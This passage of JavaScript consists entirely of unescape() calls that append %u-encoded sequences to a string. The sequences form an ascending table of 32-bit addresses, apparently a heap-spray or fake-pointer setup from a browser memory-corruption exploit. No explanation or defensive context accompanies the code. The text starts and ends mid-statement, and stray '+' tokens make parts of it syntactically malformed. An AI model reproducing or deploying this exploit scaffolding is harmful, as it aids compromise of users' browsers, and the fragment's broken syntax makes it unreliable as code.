unescape("%u0000%u2e00%u0000%u2e04%u0000%u2e08%u0000%u2e0c%u0000%u2e10%u0000%u2e14%u0000%u2e18%u0000%u2e1c%u0000%u2e20%u0000%u2e24%u0000%u2e28%u0000%u2e2c%u0000%u2e30%u0000%u2e34%u0000%u2e38%u0000%u2e3c"); + str += unescape("%u0000%u2e40%u0000%u2e44%u0000%u2e48%u0000%u2e4c%u0000%u2e50%u0000%u2e54%u0000%u2e58%u0000%u2e5c%u0000%u2e60%u0000%u2e64%u0000%u2e68%u0000%u2e6c%u0000%u2e70%u0000%u2e74%u0000%u2e78%u0000%u2e7c"); + str += unescape("%u0000%u2e80%u0000%u2e84%u0000%u2e88%u0000%u2e8c%u0000%u2e90%u0000%u2e94%u0000%u2e98%u0000%u2e9c%u0000%u2ea0%u0000%u2ea4%u0000%u2ea8%u0000%u2eac%u0000%u2eb0%u0000%u2eb4%u0000%u2eb8%u0000%u2ebc"); + str += unescape("%u0000%u2ec0%u0000%u2ec4%u0000%u2ec8%u0000%u2ecc%u0000%u2ed0%u0000%u2ed4%u0000%u2ed8%u0000%u2edc%u0000%u2ee0%u0000%u2ee4%u0000%u2ee8%u0000%u2eec%u0000%u2ef0%u0000%u2ef4%u0000%u2ef8%u0000%u2efc"); + str += unescape("%u0000%u2f00%u0000%u2f04%u0000%u2f08%u0000%u2f0c%u0000%u2f10%u0000%u2f14%u0000%u2f18%u0000%u2f1c%u0000%u2f20%u0000%u2f24%u0000%u2f28%u0000%u2f2c%u0000%u2f30%u0000%u2f34%u0000%u2f38%u0000%u2f3c"); + str += unescape("%u0000%u2f40%u0000%u2f44%u0000%u2f48%u0000%u2f4c%u0000%u2f50%u0000%u2f54%u0000%u2f58%u0000%u2f5c%u0000%u2f60%u0000%u2f64%u0000%u2f68%u0000%u2f6c%u0000%u2f70%u0000%u2f74%u0000%u2f78%u0000%u2f7c"); + str += unescape("%u0000%u2f80%u0000%u2f84%u0000%u2f88%u0000%u2f8c%u0000%u2f90%u0000%u2f94%u0000%u2f98%u0000%u2f9c%u0000%u2fa0%u0000%u2fa4%u0000%u2fa8%u0000%u2fac%u0000%u2fb0%u0000%u2fb4%u0000%u2fb8%u0000%u2fbc"); + str += unescape("%u0000%u2fc0%u0000%u2fc4%u0000%u2fc8%u0000%u2fcc%u0000%u2fd0%u0000%u2fd4%u0000%u2fd8%u0000%u2fdc%u0000%u2fe0%u0000%u2fe4%u0000%u2fe8%u0000%u2fec%u0000%u2ff0%u0000%u2ff4%u0000%u2ff8%u0000%u2ffc"); + str += unescape("%u0000%u3000%u0000%u3004%u0000%u3008%u0000%u300c%u0000%u3010%u0000%u3014%u0000%u3018%u0000%u301c%u0000%u3020%u0000%u3024%u0000%u3028%u0000%u302c%u0000%u3030%u0000%u3034%u0000%u3038%u0000%u303c"); + str += unescape("%u0000%u3040%u0000%u3044%u0000%u3048%u0000%u304c%u0000%u3050%u0000%u3054%u0000%u3058%u0000%u305c%u0000%u3060%u0000%u3064%u0000%u3068%u0000%u306c%u0000%u3070%u0000%u3074%u0000%u3078%u0000%u307c"); + str += unescape("%u0000%u3080%u0000%u3084%u0000%u3088%u0000%u308c%u0000%u3090%u0000%u3094%u0000%u3098%u0000%u309c%u0000%u30a0%u0000%u30a4%u0000%u30a8%u0000%u30ac%u0000%u30b0%u0000%u30b4%u0000%u30b8%u0000%u30bc"); + str += unescape("%u0000%u30c0%u0000%u30c4%u0000%u30c8%u0000%u30cc%u0000%u30d0%u0000%u30d4%u0000%u30d8%u0000%u30dc%u0000%u30e0%u0000%u30e4%u0000%u30e8%u0000%u30ec%u0000%u30f0%u0000%u30f4%u0000%u30f8%u0000%u30fc"); + str += unescape("%u0000%u3100%u0000%u3104%u0000%u3108%u0000%u310c%u0000%u3110%u0000%u3114%u0000%u3118%u0000%u311c%u0000%u3120%u0000%u3124%u0000%u3128%u0000%u312c%u0000%u3130%u0000%u3134%u0000%u3138%u0000%u313c"); + str += unescape("%u0000%u3140%u0000%u3144%u0000%u3148%u0000%u314c%u0000%u3150%u0000%u3154%u0000%u3158%u0000%u315c%u0000%u3160%u0000%u3164%u0000%u3168%u0000%u316c%u0000%u3170%u0000%u3174%u0000%u3178%u0000%u317c"); + str += unescape("%u0000%u3180%u0000%u3184%u0000%u3188%u0000%u318c%u0000%u3190%u0000%u3194%u0000%u3198%u0000%u319c%u0000%u31a0%u0000%u31a4%u0000%u31a8%u0000%u31ac%u0000%u31b0%u0000%u31b4%u0000%u31b8%u0000%u31bc"); + str += unescape("%u0000%u31c0%u0000%u31c4%u0000%u31c8%u0000%u31cc%u0000%u31d0%u0000%u31d4%u0000%u31d8%u0000%u31dc%u0000%u31e0%u0000%u31e4%u0000%u31e8%u0000%u31ec%u0000%u31f0%u0000%u31f4%u0000%u31f8%u0000%u31fc"); + str += unescape("%u0000%u3200%u0000%u3204%u0000%u3208%u0000%u320c%u0000%u3210%u0000%u3214%u0000%u3218%u0000%u321c%u0000%u3220%u0000%u3224%u0000%u3228%u0000%u322c%u0000%u3230%u0000%u3234%u0000%u3238%u0000%u323c"); + str += unescape("%u0000%u3240%u0000%u3244%u0000%u3248%u0000%u324c%u0000%u3250%u0000%u3254%u0000%u3258%u0000%u325c%u0000%u3260%u0000%u3264%u0000%u3268%u0000%u326c%u0000%u3270%u0000%u3274%u0000%u3278%u0000%u327c"); + str += unescape("%u0000%u3280%u0000%u3284%u0000%u3288%u0000%u328c%u0000%u3290%u0000%u3294%u0000%u3298%u0000%u329c%u0000%u32a0%u0000%u32a4%u0000%u32a8%u0000%u32ac%u0000%u32b0%u0000%u32b4%u0000%u32b8%u0000%u32bc"); + str += unescape("%u0000%u32c0%u0000%u32c4%u0000%u32c8%u0000%u32cc%u0000%u32d0%u0000%u32d4%u0000%u32d8%u0000%u32dc%u0000%u32e0%u0000%u32e4%u0000%u32e8%u0000%u32ec%u0000%u32f0%u0000%u32f4%u0000%u32f8%u0000%u32fc"); + str += unescape("%u0000%u3300%u0000%u3304%u0000%u3308%u0000%u330c%u0000%u3310%u0000%u3314%u0000%u3318%u0000%u331c%u0000%u3320%u0000%u3324%u0000%u3328%u0000%u332c%u0000%u3330%u0000%u3334%u0000%u3338%u0000%u333c"); + str += unescape("%u0000%u3340%u0000%u3344%u0000%u3348%u0000%u334c%u0000%u3350%u0000%u3354%u0000%u3358%u0000%u335c%u0000%u3360%u0000%u3364%u0000%u3368%u0000%u336c%u0000%u3370%u0000%u3374%u0000%u3378%u0000%u337c"); + str += unescape("%u0000%u3380%u0000%u3384%u0000%u3388%u0000%u338c%u0000%u3390%u0000%u3394%u0000%u3398%u0000%u339c%u0000%u33a0%u0000%u33a4%u0000%u33a8%u0000%u33ac%u0000%u33b0%u0000%u33b4%u0000%u33b8%u0000%u33bc"); + str += unescape("%u0000%u33c0%u0000%u33c4%u0000%u33c8%u0000%u33cc%u0000%u33d0%u0000%u33d4%u0000%u33d8%u0000%u33dc%u0000%u33e0%u0000%u33e4%u0000%u33e8%u0000%u33ec%u0000%u33f0%u0000%u33f4%u0000%u33f8%u0000%u33fc"); + str += unescape("%u0000%u3400%u0000%u3404%u0000%u3408%u0000%u340c%u0000%u3410%u0000%u3414%u0000%u3418%u0000%u341c%u0000%u3420%u0000%u3424%u0000%u3428%u0000%u342c%u0000%u3430%u0000%u3434%u0000%u3438%u0000%u343c"); + str += unescape("%u0000%u3440%u0000%u3444%u0000%u3448%u0000%u344c%u0000%u3450%u0000%u3454%u0000%u3458%u0000%u345c%u0000%u3460%u0000%u3464%u0000%u3468%u0000%u346c%u0000%u3470%u0000%u3474%u0000%u3478%u0000%u347c"); + str += unescape("%u0000%u3480%u0000%u3484%u0000%u3488%u0000%u348c%u0000%u3490%u0000%u3494%u0000%u3498%u0000%u349c%u0000%u34a0%u0000%u34a4%u0000%u34a8%u0000%u34ac%u0000%u34b0%u0000%u34b4%u0000%u34b8%u0000%u34bc"); + str += unescape("%u0000%u34c0%u0000%u34c4%u0000%u34c8%u0000%u34cc%u0000%u34d0%u0000%u34d4%u0000%u34d8%u0000%u34dc%u0000%u34e0%u0000%u34e4%u0000%u34e8%u0000%u34ec%u0000%u34f0%u0000%u34f4%u0000%u34f8%u0000%u34fc"); + str += unescape("%u0000%u3500%u0000%u3504%u0000%u3508%u0000%u350c%u0000%u3510%u0000%u3514%u0000%u3518%u0000%u351c%u0000%u3520%u0000%u3524%u0000%u3528%u0000%u352c%u0000%u3530%u0000%u3534%u0000%u3538%u0000%u353c"); + str += unescape("%u0000%u3540%u0000%u3544%u0000%u3548%u0000%u354c%u0000%u3550%u0000%u3554%u0000%u3558%u0000%u355c%u0000%u3560%u0000%u3564%u0000%u3568%u0000%u356c%u0000%u3570%u0000%u3574%u0000%u3578%u0000%u357c"); str += unescape("%u0000%u3580%u0000%u3584%u0000%u3588%u0000%u358c%u0000%u3590%u0000%u3594%u0000%u3598%u0000%u359c%u0000%u35a0%u0000%u35a4%u0000%u35a8%u0000%u35ac%u0000%u35b0%u0000%u35b4%u0000%u35b8%u0000%u35bc"); str += unescape("%u0000%u35c0%u0000%u35c4%u0000%u35c8%u0000%u35cc%u0000%u35d0%u0000%u35d4%u0000%u35d8%u0000%u35dc%u0000%u35e0%u0000%u35e4%u0000%u35e8%u0000%u35ec%u0000%u35f0%u0000%u35f4%u0000%u35f8%u0000%u35fc"); str += unescape("%u0000%u3600%u0000%u3604%u0000%u3608%u0000%u360c%u0000%u3610%u0000%u3614%u0000%u3618%u0000%u361c%u0000%u3620%u0000%u3624%u0000%u3628%u0000%u362c%u0000%u3630%u0000%u3634%u0000%u3638%u0000%u363c");